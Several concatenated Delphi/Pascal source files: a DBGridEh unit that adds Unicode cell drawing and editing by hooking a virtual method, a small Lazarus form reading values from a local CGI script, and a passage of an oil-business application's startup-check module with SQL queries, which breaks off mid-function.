end.
|
unit pBTGridEhExt;
interface
uses
Windows,Messages,SysUtils,Classes,Controls,Forms,DB,DBGridEh,GridsEh,TntStdCtrls;
procedure PrepareDBGridEh(Grid:TDBGridEh);
implementation
var IsWinNT:boolean;
IsWin2K:boolean;
IsWinXP:boolean;
const
WideNull = WideChar(#0);
WideCR = WideChar(#13);
WideLF = WideChar(#10);
WideLineSeparator = WideChar(#2028);
procedure DrawTextW(DC: HDC; lpString: PWideChar; nCount: Integer; var lpRect: TRect; uFormat: Cardinal;
AdjustRight: Boolean);
// This procedure implements a subset of Window's DrawText API for Unicode which is not available for
// Windows 9x. For a description of the parameters see DrawText in the online help.
// Supported flags are currently:
// - DT_LEFT
// - DT_TOP
// - DT_CALCRECT
// - DT_NOCLIP
// - DT_RTLREADING
// - DT_SINGLELINE
// - DT_VCENTER
// Differences to the DrawTextW Windows API:
// - The additional parameter AdjustRight determines whether to adjust the right border of the given rectangle to
// accomodate the largest line in the text. It has only a meaning if also DT_CALCRECT is specified.
var
Head, Tail: PWideChar;
Size: TSize;
MaxWidth: Integer;
TextOutFlags: Integer;
TextAlign,
OldTextAlign: Cardinal;
TM: TTextMetric;
TextHeight: Integer;
LineRect: TRect;
TextPosY,
TextPosX: Integer;
CalculateRect: Boolean;
begin
// Prepare some work variables.
MaxWidth := 0;
Head := lpString;
GetTextMetrics(DC, TM);
TextHeight := TM.tmHeight;
if uFormat and DT_SINGLELINE <> 0 then
LineRect := lpRect
else
LineRect := Rect(lpRect.Left, lpRect.Top, lpRect.Right, lpRect.Top + TextHeight);
CalculateRect := uFormat and DT_CALCRECT <> 0;
// Prepare text output.
TextOutFlags := 0;
if uFormat and DT_NOCLIP = 0 then
TextOutFlags := TextOutFlags or ETO_CLIPPED;
if uFormat and DT_RTLREADING <> 0 then
TextOutFlags := TextOutFlags or ETO_RTLREADING;
// Determine horizontal and vertical text alignment.
OldTextAlign := GetTextAlign(DC);
TextAlign := TA_LEFT or TA_TOP;
TextPosX := lpRect.Left;
if uFormat and DT_RIGHT <> 0 then
begin
TextAlign := TextAlign or TA_RIGHT and not TA_LEFT;
TextPosX := lpRect.Right;
end
else
if uFormat and DT_CENTER <> 0 then
begin
TextAlign := TextAlign or TA_CENTER and not TA_LEFT;
TextPosX := (lpRect.Left + lpRect.Right) div 2;
end;
TextPosY := lpRect.Top;
if uFormat and DT_VCENTER <> 0 then
begin
// Note: vertical alignment does only work with single line text ouput!
TextPosY := (lpRect.Top + lpRect.Bottom - TextHeight) div 2;
end;
SetTextAlign(DC, TextAlign);
if uFormat and DT_SINGLELINE <> 0 then
begin
if CalculateRect then
begin
GetTextExtentPoint32W(DC, Head, nCount, Size);
if Size.cx > MaxWidth then
MaxWidth := Size.cx;
end
else
ExtTextOutW(DC, TextPosX, TextPosY, TextOutFlags, @LineRect, Head, nCount, nil);
OffsetRect(LineRect, 0, TextHeight);
end
else
begin
while (nCount > 0) and (Head^ <> WideNull) do
begin
Tail := Head;
// Look for the end of the current line. A line is finished either by the string end or a line break.
while (nCount > 0) and not (Tail^ in [WideNull, WideCR, WideLF]) and (Tail^ <> WideLineSeparator) do
begin
Inc(Tail);
Dec(nCount);
end;
if CalculateRect then
begin
GetTextExtentPoint32W(DC, Head, Tail - Head, Size);
if Size.cx > MaxWidth then
MaxWidth := Size.cx;
end
else
ExtTextOutW(DC, TextPosX, LineRect.Top, TextOutFlags, @LineRect, Head, Tail - Head, nil);
OffsetRect(LineRect, 0, TextHeight);
// Get out of the loop if the rectangle is filled up.
if (nCount = 0) or (not CalculateRect and (LineRect.Top >= lpRect.Bottom)) then
Break;
if (nCount > 0) and (Tail^ = WideCR) or (Tail^ = WideLineSeparator) then
begin
Inc(Tail);
Dec(nCount);
end;
if (nCount > 0) and (Tail^ = WideLF) then
begin
Inc(Tail);
Dec(nCount);
end;
Head := Tail;
end;
end;
SetTextAlign(DC, OldTextAlign);
if CalculateRect then
begin
if AdjustRight then
lpRect.Right := lpRect.Left + MaxWidth;
lpRect.Bottom := LineRect.Top;
end;
end;
type
TFakeObj=class
procedure DBGridEh1DrawDataCell(Sender: TObject;
const Rect: TRect; Field: TField; State: TGridDrawState);
end;
procedure TFakeObj.DBGridEh1DrawDataCell(Sender: TObject;
const Rect: TRect; Field: TField; State: TGridDrawState);
var
DrawFormat: Cardinal;
Text:WideString;
R:TRect;
begin
// Показ уникод значений
with TDBGridEh(Sender) do
begin
if (Field<>nil) and (Field is TWideStringField) and not Field.IsNull then
begin
TDBGridEh(Sender).DefaultDrawDataCell(Rect,nil,State);
Text:=TWideStringField(Field).Value;
case Field.Alignment of
taLeftJustify: DrawFormat := DT_LEFT or DT_WORDBREAK or DT_EXPANDTABS or DT_NOPREFIX;
taCenter : DrawFormat := DT_CENTER or DT_WORDBREAK or DT_EXPANDTABS or DT_NOPREFIX;
taRightJustify: DrawFormat := DT_RIGHT or DT_WORDBREAK or DT_EXPANDTABS or DT_NOPREFIX ;
else
DrawFormat := DT_NOPREFIX or DT_VCENTER or DT_SINGLELINE;
end;
R:=Rect;
Inc(R.Left,2);
if IsWinNT then
Windows.DrawTextW(Canvas.Handle, PWideChar(Text), Length(Text), R, DrawFormat)
else
DrawTextW(Canvas.Handle, PWideChar(Text), Length(Text), R, DrawFormat, False)
end
else
TDBGridEh(Sender).DefaultDrawDataCell(Rect,Field,State);
end;
end;
var
FakeObj:TFakeObj;
procedure PrepareDBGridEh(Grid:TDBGridEh);
begin
Grid.OnDrawDataCell:=FakeObj.DBGridEh1DrawDataCell
end;
// Cut from RxLib
{ SetVirtualMethodAddress procedure. Destroy destructor has index 0,
first user defined virtual method has index 1. }
type
PPointer = ^Pointer;
function GetVirtualMethodAddress(AClass: TClass; AIndex: Integer): Pointer;
var
Table: PPointer;
begin
Table := PPointer(AClass);
Inc(Table, AIndex - 1);
Result := Table^;
end;
function SetVirtualMethodAddress(AClass: TClass; AIndex: Integer;
NewAddress: Pointer): Pointer;
{$IFDEF WIN32}
const
PageSize = SizeOf(Pointer);
{$ENDIF}
var
Table: PPointer;
{$IFDEF WIN32}
SaveFlag: DWORD;
{$ELSE}
Block: Pointer;
{$ENDIF}
begin
Table := PPointer(AClass);
Inc(Table, AIndex - 1);
Result := Table^;
{$IFDEF WIN32}
if VirtualProtect(Table, PageSize, PAGE_EXECUTE_READWRITE, @SaveFlag) then
try
Table^ := NewAddress;
finally
VirtualProtect(Table, PageSize, SaveFlag, @SaveFlag);
end;
{$ELSE}
PtrRec(Block).Ofs := PtrRec(Table).Ofs;
PtrRec(Block).Seg := AllocCSToDSAlias(PtrRec(Table).Seg);
try
PPointer(Block)^ := NewAddress;
finally
FreeSelector(PtrRec(Block).Seg);
end;
{$ENDIF}
end;
function FindVirtualMethodIndex(AClass: TClass; MethodAddr: Pointer): Integer;
begin
Result := 0;
repeat
Inc(Result);
until (GetVirtualMethodAddress(AClass, Result) = MethodAddr);
end;
/// end RX
type THackDBGridEh = class (TDBGridEh)
protected
procedure ShowEditor; override;
end;
TWideEditor = class(TTntEdit)
private
FGrid: THackDBGridEh;
FOldValue:WideString;
procedure InternalMove(const Loc: TRect; Redraw: Boolean);
protected
procedure BoundsChanged; virtual;
procedure Hide;
procedure KeyDown(var Key: Word; Shift: TShiftState); override;
procedure KeyPress(var Key: Char); override;
procedure DoExit; override;
procedure DoOnChange(Sender:TObject);
public
procedure Invalidate; reintroduce;
function Visible: Boolean;
end;
var
SavedShowEditorMethod:Pointer;
procedure HookGridEditor;
var
I: Integer;
Addr: Pointer;
begin
I := FindVirtualMethodIndex(THackDBGridEh, @THackDBGridEh.ShowEditor);
try
Addr :=@THackDBGridEh.ShowEditor;
SavedShowEditorMethod:=SetVirtualMethodAddress(TDBGridEh, I, Addr);
except
raise;
end;
end;
procedure UnHookGridEditor;
var
MethodIndex: Integer;
begin
if Assigned(SavedShowEditorMethod) then begin
MethodIndex := FindVirtualMethodIndex(THackDBGridEh, @THackDBGridEh.ShowEditor);
SetVirtualMethodAddress(TDBGridEh, MethodIndex, SavedShowEditorMethod);
SavedShowEditorMethod := nil;
end;
end;
{ THackDBGridEh }
procedure THackDBGridEh.ShowEditor;
var
CurRect:TRect;
FEdit:TWideEditor;
begin
if FilterEditMode then
StopEditFilter;
if (SelectedField=nil) or (SelectedField.DataType<>ftWideString) then
inherited
else
begin
FEdit:=TWideEditor(FindComponent('WideEditor'));
if not Assigned(FEdit) then
begin
FEdit:=TWideEditor.Create(Self);
FEdit.Parent:=Self;
FEdit.Name:='WideEditor';
FEdit.BorderStyle:=bsNone;
FEdit.FGrid:=Self;
TTntEdit(FEdit).Visible:=False;
TTntEdit(FEdit).OnChange:=FEdit.DoOnChange;
end;
FEdit.FOldValue :=TWideStringField(SelectedField).Value;
FEdit.Text:=FEdit.FOldValue ;
FEdit.Parent:=Self;
CurRect:=CellRect(Col, Row);
FEdit.InternalMove(CurRect,True);
end;
end;
{ TWideEditor }
procedure TWideEditor.BoundsChanged;
var
R: TRect;
begin
R := Rect(2, 2, Width - 2, Height);
// SendMessage(Handle, EM_SETRECTNP, 0, LongInt(@R));
SendMessage(Handle, EM_SETRECTNP, 0, Integer(@R));
SendMessage(Handle, EM_SCROLLCARET, 0, 0);
end;
procedure TWideEditor.DoExit;
begin
if ( FGrid.DataLink.DataSet.State in [dsEdit,dsInsert]) then
TWideStringField(FGrid.SelectedField).Value:=Text;
Hide;
inherited;
end;
procedure TWideEditor.DoOnChange(Sender: TObject);
begin
if FOldValue<>Text then
begin
if not( FGrid.DataLink.DataSet.State in [dsEdit,dsInsert]) then
FGrid.DataLink.Edit;
TWideStringField(FGrid.SelectedField).Value:=Text;
end;
end;
procedure TWideEditor.Hide;
begin
if HandleAllocated and IsWindowVisible(Handle) then
begin
Invalidate;
SetWindowPos(Handle, 0, 0, 0, 0, 0, SWP_HIDEWINDOW or SWP_NOZORDER or
SWP_NOREDRAW);
if Focused then Windows.SetFocus(FGrid.Handle);
end;
end;
procedure TWideEditor.InternalMove(const Loc: TRect; Redraw: Boolean);
begin
if IsRectEmpty(Loc) then Hide
else
begin
CreateHandle;
Redraw := Redraw or not IsWindowVisible(Handle);
Invalidate;
with Loc do
SetWindowPos(Handle, HWND_TOP, Left, Top, Right - Left, Bottom - Top,
SWP_SHOWWINDOW or SWP_NOREDRAW);
BoundsChanged;
if Redraw then Invalidate;
if FGrid.Focused then
Windows.SetFocus(Handle);
end;
end;
procedure TWideEditor.Invalidate;
var
Cur: TRect;
begin
ValidateRect(Handle, nil);
InvalidateRect(Handle, nil, True);
Windows.GetClientRect(Handle, Cur);
MapWindowPoints(Handle, FGrid.Handle, Cur, 2);
ValidateRect(FGrid.Handle, @Cur);
InvalidateRect(FGrid.Handle, @Cur, False);
end;
procedure TWideEditor.KeyDown(var Key: Word; Shift: TShiftState);
procedure SendToParent;
begin
FGrid.KeyDown(Key, Shift);
Key := 0;
end;
begin
inherited;
case Key of
VK_RETURN:
begin
Hide;
SendToParent;
end;
VK_ESCAPE:
begin
if ( FGrid.DataLink.DataSet.State in [dsEdit,dsInsert]) then
begin
Text:=FOldValue
end ;
Hide
end;
VK_UP,VK_DOWN:
begin
Hide;
SendToParent;
end;
end
end;
procedure TWideEditor.KeyPress(var Key: Char);
begin
inherited;
end;
function TWideEditor.Visible: Boolean;
begin
Result := IsWindowVisible(Handle);
end;
initialization
IsWinNT := (Win32Platform and VER_PLATFORM_WIN32_NT) <> 0;
IsWin2K := (Win32MajorVersion = 5) and (Win32MinorVersion = 0);
IsWinXP := (Win32MajorVersion = 5) and (Win32MinorVersion = 1);
SavedShowEditorMethod := nil;
HookGridEditor;
FakeObj:=TFakeObj.Create;
finalization
UnHookGridEditor;
FakeObj.Free
end.
|
unit Unit1;
{$mode objfpc}{$H+}
interface
uses
Classes, SysUtils, FileUtil, Forms, Controls, Graphics, Dialogs, StdCtrls;
type
{ TForm1 }
TForm1 = class(TForm)
btObter: TButton;
edID: TEdit;
edNome: TEdit;
lbID: TLabel;
lbNome: TLabel;
procedure btObterClick(Sender: TObject);
end;
{TCliente}
TCliente = class(TObject)
private
FId :Integer;
FNome :String;
published
property Id :Integer read FId write FId;
property Nome :String read FNome write FNome;
end;
var
Form1: TForm1;
implementation
{$R *.lfm}
uses
BrookHttpUtils,BrookFCLHttpClientBroker;
{ TForm1 }
procedure TForm1.btObterClick(Sender: TObject);
var
VLista: TStringList;
begin
VLista := TStringList.Create;
Try
VLista.Text:=BrookHttpRequest('http://localhost/cgi-bin/cgi1.bf').Content;
edID.Text:= VLista.Values['Id'];
edNome.Text:= VLista.Values['Nome'];
finally
VLista.Free;
end;
end;
end.
|
{$A+,B-,C+,D+,E-,F-,G+,H+,I+,J+,K-,L+,M-,N+,O+,P+,Q-,R-,S-,T-,U-,V+,W-,X+,Y+,Z1}
{$MINSTACKSIZE $00004000}
{$MAXSTACKSIZE $00100000}
{$IMAGEBASE $00400000}
{$APPTYPE GUI}
{
Модуль проверок
Принцип:
Есть две основных функции - FirstTest и SecondTest
Вызов каждой вызывает создание окна проверок.
В первом случае тестируются проверки отрицательные результаты
по которым не допускают дальнейшего запуска программы
Во втором случае производятся проверки, которые могут блокировать
права пользователя или отчеты.
Каждая проверка в теле FirstTest и SecondTest оформлена в виде
функций которые могут вернуть следующие результаты (вид блокировки)
0 - ОК, 1 - Блок, 2 - Желтое предупреждение, 3 - Красное предупреждение
В FirstTest и SecondTest есть локальные процедуры CheckBlockAndWarning
которые анализируют результат функций и заполняют ими глобальную переменную
ResultStr:
...
ResultStr := ResultStr + IntToStr(CheckIndex) + ',';
....
Для добавления проверки по талонам / картам небоходимо:
- добавить запись в oil_decode_checkup
- добавить запись в oil_checkups
- добавить номер проверки в переменную OIL_VAR.CH_AUDIT_LIST
Для добавления блокировок ver.1:
- Выбрать месторасположение блокировки. FirstTest - до запуска программы, при
отрицательном результате программа закончит работу, SecondTest - после запуска
программы, при отрицательном результате будут заблокированы права пользователя
- Добавить в выбранную процедуру секцию похожую на эту:
IncArrayLength; //расширяет дин. массив проверок
ImageIndex := TestSRTalons; //Выполняет функцию проверки и возвращает рез-т в ImageIndex
SrTalonItem := ArrayLength-1; //Запоминает индекс в массиве
AddRecord(ImageIndex,'Сменный отчет - талоны без номеров и серий'); //добавляет запись в грид
CheckBlockAndWarning(8); - 8 номер проверки в рамках выбранной процедуры (FirstTest, SecondTest)
- Написать функцию проверки. В описанном случае TestSRTalons.
function TestSRTalons: Integer;
- в функцию CheckBlockAndWarning добавить номер проверки в рамках выбранной процедуры (FirstTest, SecondTest)
- понять как устроена OnClose формы и изменить ее согласно своего номера блокировки. Там можно сразу
блокировать все, блокировать только см. отчеты и еще что-то.
Для добавления блокировок ver.2:
Працює лише для таких перевірок, в яких проходження чи не проходження перевірки визначається
властивістю RecordCount написаної перевірки:
RecordCount = 0 - перевірка пройдена
RecordCount > 0 - перевірка не пройдена
1. Написати селект для перевірки, щоб виконувалась домовленість про RecordCount (див. на 5 рядків вище)
2. Перед селектом вставити закоментовані параметри
--$DESC= <-- назва перевірки. Вона вискакує в переліку dbgMain
--$TEST= <-- належність перевірки до FirstTest (--$TEST=1) чи SecondTest (--$TEST=2)
--$ISREGULAR= <-- [1/0] - чи включати цю перевірку в регулярні. Аналізується лише для --$TEST=1
--$RESULT= <-- [integer] - вид блокування в разі непроходження перевірки (RecordCount>0)
--$RESULT_EMP_ID= <-- [integer] - id юзера, що присвоїться Main.EMP_ID в разі непроходження перевірки (RecordCount>0). Береться з [adm_users]
--$CHECKINDEX= <-- номер перевірки (>100)
--$F_NAME_Q= <-- перелік полів, які треба взяти з квері, розділені ";"
--$F_NAME_T= <-- назви полів, які будуть в назвах колонок в таблиці dbgCheck, розділені ";", відповідно до порядку полів в F_NAME_Q. Якщо в назві присутній символ 0x20 (space) - обовязково виділити подвійними лапками
--$F_WIDTH= <-- [integer] - ширина полів в таблиці dbgCheck, розділені ";", відповідно до порядку полів в F_NAME_Q
Всі текстові параметри можна використовувати з "@" для розділення рос./укр.
3. Покласти свій витвір на Planeco на розсилку (OilSqlDeveloper.exe - форма: uTestLaunch)
Приклад: --$DESC=Дебеторы по ЛС@Дебетори по ЛС
--$TEST=2
--$ISREGULAR=0
--$RESULT=3
--$RESULT_EMP_ID=-1
--$F_NAME_Q=name;date_;debet;debetmax
--$F_NAME_T=Дебетор@Дебітор;Дата;Дебет;"Макс. дебет"
--$F_WIDTH=355;85;87;93
--$CHECKINDEX=100
select oo.name,
dbt.date_,
dbt.summover as debet,
det.deb_summa_allowed as debetmax
from v_oil_org_det2 det, oil_deadbeat dbt, v_org oo
where oo.id = det.org_id(+) and oo.inst = det.org_inst(+)
and oo.state = 'Y' and dbt.state = 'Y' and det.state(+) = 'Y'
and dbt.org_id = oo.id and dbt.org_inst = oo.inst
and ((dbt.summover - nvl(det.deb_summa_allowed,0) > 0) or (dbt.date_ + nvl(det.deb_days_allowed,0) < sysdate))
and exists (select 'X' from oil_dog dog
where dog.state='Y'
and dbt.org_id = dog.to_ and dbt.org_inst = dog.to_inst
and dog.dog_type = 'K' and dog.sub_type = 101)
}
unit uTestLaunch;
interface
uses
Windows, Messages, SysUtils, Classes, Graphics, Controls, Forms, Dialogs,
Db, RxMemDS, StdCtrls, Buttons, ComCtrls, Grids, DBGridEh, RXSplit,
ExtCtrls, ImgList, DBTables, RXCtrls, RxRichEd, MemDS, DBAccess, Ora, Math,
uStart, TimerLst, Main, Menus, uHelpButton, uCommonForm,uOilQuery,uOilStoredProc
{$IFDEF VER150},Variants, DBGridEhGrouping, GridsEh{$ENDIF};
type
TfrmTestLaunch = class(TCommonForm)
Panel1: TPanel;
Panel2: TPanel;
RxSplitter1: TRxSplitter;
StatusBar1: TStatusBar;
dsRMD: TOraDataSource;
rmd: TRxMemoryData;
rmdFlag: TFloatField;
rmdComment_: TStringField;
ImageList1: TImageList;
dbgMain: TDBGridEh;
bbtContinue: TBitBtn;
bbtClose: TBitBtn;
Panel3: TPanel;
Splitter1: TSplitter;
Notebook1: TNotebook;
dbgPart: TDBGridEh;
redComment: TRxRichEdit;
pnlPassword: TPanel;
edtPassword: TEdit;
Label1: TLabel;
Label2: TLabel;
dsPart: TOraDataSource;
qCard: TOilQuery;
qPart: TOilQuery;
qPartDOG_: TStringField;
qPartTIMES: TStringField;
qPartN: TFloatField;
qPartNAME: TStringField;
qVagons: TOilQuery;
dbgVagons: TDBGridEh;
dsVagon: TOraDataSource;
pmToExcel: TPopupMenu;
miPutToExcel: TMenuItem;
OilHelpButton1: TOilHelpButton;
bbTestDB: TBitBtn;
Bevel1: TBevel;
Bevel2: TBevel;
DBGridEh2: TDBGridEh;
dsSRTalon: TOraDataSource;
qSRTalon: TOilQuery;
qVagonsN: TFloatField;
qVagonsVAGON_NAME: TStringField;
qVagonsPART_NAME: TStringField;
qVagonsDATE_RAST: TDateTimeField;
qVagonsCOMMENTS: TStringField;
qVagonsORG_NAME: TStringField;
qVagonsOBL_NAME: TStringField;
dsRez: TOraDataSource;
qRez: TOilQuery;
qRezNUM: TStringField;
qRezREZ_NAME: TStringField;
qRezORG_NAME: TStringField;
qRezID: TFloatField;
qRezINST_ORG: TFloatField;
dbgRez: TDBGridEh;
Panel4: TPanel;
pnlWithCloseButton: TPanel;
Panel5: TPanel;
cbHideGreen: TCheckBox;
qVagonsNP_NAME: TStringField;
qVagonsNP_GRP_NAME: TStringField;
qVagonsWEIGHT: TFloatField;
qCheckList: TOilQuery;
dsCheckList: TOraDataSource;
dbgCheck: TDBGridEh;
qCheckListSQL_ID: TFloatField;
qCheckListSQL_NAME: TStringField;
qCheckListFORM_NAME: TStringField;
qCheckListTEST_NUM: TStringField;
qCheckListCHECKINDEX: TStringField;
qVagonsRAIL_STAT_NAME: TStringField;
procedure bbtCloseClick(Sender: TObject);
procedure bbtContinueClick(Sender: TObject);
procedure AddRecord(ImageIndex: integer; Comment_ : string);
procedure dsRMDDataChange(Sender: TObject; Field: TField);
Function SynchroPart:integer;
function TestVagons:integer;
function TestSRTalons: Integer;
function TestTubingsInRez: integer;
procedure FormShow(Sender: TObject);
procedure miPutToExcelClick(Sender: TObject);
procedure bbTestDBClick(Sender: TObject);
procedure cbHideGreenClick(Sender: TObject);
procedure rmdFilterRecord(DataSet: TDataSet; var Accept: Boolean);
procedure dbgMainDrawColumnCell(Sender: TObject; const Rect: TRect;
DataCol: Integer; Column: TColumnEh; State: TGridDrawState);
function LoadChecks(Test_num: integer): boolean; //Test_num - діставати перевірки для FirstTest чи для SecondTest
//LoadChecks=true, якщо завантажена хоча б 1 перевірка
private
{ Private declarations }
public
IsRegularOnly: boolean;
function IsBlockedFirstTestRegular: boolean; // перевірки FirstTest які будуть перевірятися по таймеру (перевірки по талонам/карткам/бланкам - виключені)
end;
function NowIsRestDay : boolean;
function TestCheckUpFlag(var Msg : string):integer;
function TestCheckUpFlagOnActivate(var Msg : string):integer;
function FirstTest(var pp_Password: Boolean; p_IsRegularOnly: Boolean = false): Boolean; //p_IsRegularOnly - для регулярних перевірок під час роботи в Ойлі. Задіяні для динамічних перевірок з exe_sql, в яких --$TEST=1
function SecondTest: Boolean;
Function SuccessIncass(var Msg: string):integer;
Function LoadModemTrans(var Msg : string):integer;
Function CardTrans(Event_Id: integer;var Msg : string):integer;
Function PCExchange(EventId : integer; var Msg : string):integer;
Function MakeBlackList(var Msg:string):integer;
Function LinkComServer(var Msg:string):integer;
function TestBackupFlag(var Msg:string) : integer;
function RightVersion(RealVersion,KeyVersion:string):Boolean;
function ActiveCH(p_num: integer): boolean; // активація другорядних перевірок
type
// Салат параметрів для однієї перевірки - в кожне поле рекорда містить список полів, розділених ";"
TSalat = record // NameQ - назва поля в квері;
NameQ,NameT,Width: TStringList; // NameT - назва поля, що відобразиться в таблиці. Якщо в назві є спейси, всю назву поле обовязково виділити в подвійні лапки. Напр., для поля 'Макс. дебет': --$F_NAME_T=Дебетор;Дата;Дебет;"Макс. дебет"
end; // Width - ширина поля в dbGridEh (dbgCheck)
TCheck = record
qCheck: TOilQuery; // Динамічна перевірки - завантажуються з бази
CheckIndex: integer; // Номер перевірки
Description: string;
Test: integer; // Test=1, якщо перевірка належить до FirstTest; Test=2, якщо до SecondTest
IsRegular: boolean; // Чи включати дану перевірку в регулярні (лише для --$TEST=1)
Result: integer; // По аналогії до ImageIndex: вид блокування. Зчитується з секції --$RESULT та перемножається на sign(qCheck.RecordCount)
ResultEmpId: integer; // Номер юзера з таблиці [adm_users], який присвоється Main.EMP_ID, при не непройденій перевірці. if =-1 then нічого не змінювати
Fields: TSalat; // Параметри. Будуть зчитуватись з секцій "--$"
end;
var
frmTestLaunch: TfrmTestLaunch;
PASSWORD: string='';
ArrayOfComment : array of String;
ArrayLength : integer; // довжина змінної ArrayOfComment
RecordFocus : integer; // фокус курсора при перевірці
Checks: array of TCheck;
PartItem : integer=1000;
VagonItem : integer=1000;
SRTalonItem : integer=1000;
RezItem : integer=1000;
F : Text;
RecFocused : boolean; // стосується змінної RecordFocus
WriteLog : boolean = False;
Block, Warning: boolean;
ResultStr : string;
qIncassText : string =
' select * from ( '+
' select'+
' azs_id,'+
' max(call_date) as call_date,'+
' max(ch_date) as DateCH'+
' from'+
' ('+
' select'+
' azs_id,'+
' decode(call_type, 1 , date_) as call_date,'+
' decode(call_type, 7 , date_) as ch_date'+
' from'+
' ('+
' select'+
' azs_id,'+
' max(call_date) date_,'+
' call_type'+
' from card_modem_call cm, v_card_azs azs'+
' where azs_id is not null'+
' and cm.azs_id = azs.id'+
' and cm.azs_id = azs.inst'+
' and azs.azsalign = 0'+
' and cm.call_type in (1,7)'+
' and cm.azs_id = :p_azs_id'+
' group by'+
' azs_id,'+
' call_type'+
' )'+
' )'+
'group by azs_id'+
' ) '+
' where call_date >= :p_date_b'+
' and call_date < :p_date_e';
qAZSText : string =
'select M.id, M.inst, azs.name || '' '' || azs.par_name as AzsName'+
' from OIL_AZS_TERMINAL M, v_card_azs azs '+
' where M.id = azs.id and M.inst = azs.inst and M.state = ''Y'' and'+
' M.wild = ''N'' and azs.emitent_id = ov.getval(''INST'')';
qFaultText : string =
'select id'+
' from oil_kp_crash'+
' where crash_type=100+:p_ctype and'+
' :p_sysdate between start_date and end_date and'+
' state=''Y'' and'+
' decode(:p_ctype,1,dep_id,2,dep_id,-1) = decode(:p_ctype,1,:p_azs_id,2,:p_azs_id,-1)';
qCardModemCallText : string =
'select call_date as ResultTime'+
' from card_modem_call'+
' where call_type=:p_ctype and'+
' call_date>=:p_date and'+
' decode(:p_ctype,1,azs_id,2,azs_id,-1) = decode(:p_ctype,1,:p_azs_id,2,:p_azs_id,-1)'+
' order by 1 desc';
// Если есть дикие АЗС или введен сбой по модемной инк - то требовать инк по карте
qRequireCardIncassText : string =
'select Var.C as Wild, Var.C+Fault.C as C'+
' from'+
' (select count(*) as C from oil_var where Name=''WILD_AZS_INCASS'' and value <>'''') Var,'+
' (select count(*) as C from oil_kp_crash'+
' where Crash_Type=101 and State=''Y'' and trunc(sysdate) between start_date and end_date) Fault';
qPreviousEventText : string =
'select max(D) as D from'+
' (select to_date(:p_now)+to_number(substr(START_TIME,1,2))/24+to_number(substr(START_TIME,4,2))/24/60 as D'+
' from CARD_CHECKUPS'+
' where checkup_id=:p_EventId and Enabled=''Y'''+
' and inst in (select value from oil_var where name = ''INST'' )'+
' union all'+
' select to_date(:p_yest)+to_number(substr(START_TIME,1,2))/24+to_number(substr(START_TIME,4,2))/24/60 as D'+
' from CARD_CHECKUPS'+
' where checkup_id=:p_EventId and Enabled=''Y'''+
' and inst in (select value from oil_var where name = ''INST'' ) )'+
' where D<:p_now';
qNextEventText : string =
'select to_date(:p_now)+to_number(substr(START_TIME,1,2))/24+to_number(substr(START_TIME,4,2))/24/60 as T1,'+
' to_date(:p_now)+to_number(substr(WARNING_TIME,1,2))/24+to_number(substr(WARNING_TIME,4,2))/24/60 as T2,'+
' to_date(:p_now)+to_number(substr(WARNING_TIME,1,2))/24+(to_number(substr(WARNING_TIME,4,2))+to_number(TIME_TO_BLOCK))/24/60 as TimeBlock'+
' from card_checkups where checkup_id=:p_EventId and Enabled=''Y'' and inst in (select value from oil_var where name = ''INST'' ) and ' +
' (:p_now <to_date(:p_now)+to_number(substr(START_TIME,1,2))/24+to_number(substr(START_TIME,4,2))/24/60)'+
' order by 1';
qNowInIntervalText : string =
'select trunc(sysdate)+to_number(substr(START_TIME,1,2))/24+to_number(substr(START_TIME,4,2))/24/60 as T1,'+
' trunc(sysdate)+to_number(substr(WARNING_TIME,1,2))/24+to_number(substr(WARNING_TIME,4,2))/24/60 as T2,'+
' trunc(sysdate)+to_number(substr(WARNING_TIME,1,2))/24+(to_number(substr(WARNING_TIME,4,2))+to_number(TIME_TO_BLOCK))/24/60 as TimeBlock'+
' from card_checkups where checkup_id=:p_EventId and Enabled=''Y'' and inst in (select value from oil_var where name = ''INST'' ) and ' +
' (sysdate >=trunc(sysdate)+to_number(substr(START_TIME,1,2))/24+to_number(substr(START_TIME,4,2))/24/60) and '+
' (sysdate < trunc(sysdate)+to_number(substr(WARNING_TIME,1,2))/24+(to_number(substr(WARNING_TIME,4,2))+to_number(TIME_TO_BLOCK))/24/60)';
implementation
{$R *.DFM}
uses ExFunc, uDBFunc, uMessageDlgExt, uCheckups, uCrypt, Passw, ExcelFunc,
TestDB;
//==============================================================================
procedure TfrmTestLaunch.bbtCloseClick(Sender: TObject);
begin
startlog('В перевірках натиснули "Закрити OIL"',true);
rmd.Active := False;
Self.Tag := -1;
Application.Terminate;
end;
//==============================================================================
function NowIsRestDay : boolean;
var Now_ : TDateTime;
Hld : string;
Begin
Now_ := GetSystemDate;
Hld := ReadOILVar('HOLIDAYS');
Result := False;
if (DayOfWeek(Now_) in [1,7]) or (pos(FormatDateTime('dd.mm', Now_), Hld)>0)
then Result := True;
End;
//==============================================================================
function RightVersion(RealVersion,KeyVersion:string):Boolean;
begin
result:=CompareVersion(RealVersion,KeyVersion)>=0;
end;
//==============================================================================
function TestVersionCompatible(var Msg : string):integer;
var
Compatible,OilVer,DBVer,CurOil,CurDB:string;
slCompatible:TStringList;
i:integer;
begin
// Результат 0 - ОК, 1 - Блок, 2 - Предупреждение
Result := 0;
Msg := TranslateText('Тест пройден успешно');
try
Compatible:=GetVal(ReadOilVar('VERSION_COMPATIBLE'));
DBVer:=GetVal(ReadOilVar('V_SCR_CHECKUP'));
OilVer:=Version.FileVersion;
Str2StringList(Compatible,slCompatible,';');
for i:=0 to slCompatible.Count-1 do
begin
CurDB:=Copy(slCompatible[i],1,pos('-',slCompatible[i])-1);
CurOil:=Copy(slCompatible[i],pos('-',slCompatible[i])+1,length(slCompatible[i]));
if DBVer=CurDB then
if CompareVersion(CurOil,OilVer)=-1 then
raise Exception.CreateFmt(TranslateText('Данную версию Oil нельзя запускать на текущей версии БД (%s)!'
+#13#10+'Для запуска обновите версию БД!'),[DBVer]);
end;
Except on E:Exception do
Begin
Result := 1;
Msg := E.Message;
End;
End;
end;
//==============================================================================
function TestVersionKey(var Msg : string):integer;
var q:TOilQuery;
Key,KeyVersion:string;
Today,KeyCommonDate,KeyVersionDate:TDateTime;
begin
// Результат 0 - ОК, 1 - Блок, 2 - Предупреждение
Result := 0;
Msg := TranslateText('Тест пройден успешно');
try
q := TOilQuery.Create(nil);
try
q.SQL.Text:='select sysdate as today,value from oil_var where name=''VERSION_KEY''';
q.Open;
if q.RecordCount=0 then
Raise Exception.Create(TranslateText('Отсутствует VERSION_KEY. Проверьте правильность установки скриптов'));
Key:=q.FieldByName('value').AsString;
Today:=q.FieldByName('today').AsDateTime;
finally
q.Free;
end;
try
Key:=Decrypt(crtVersionKey,[Key]);
KeyCommonDate:=StrToDate(copy(Key,1,10));
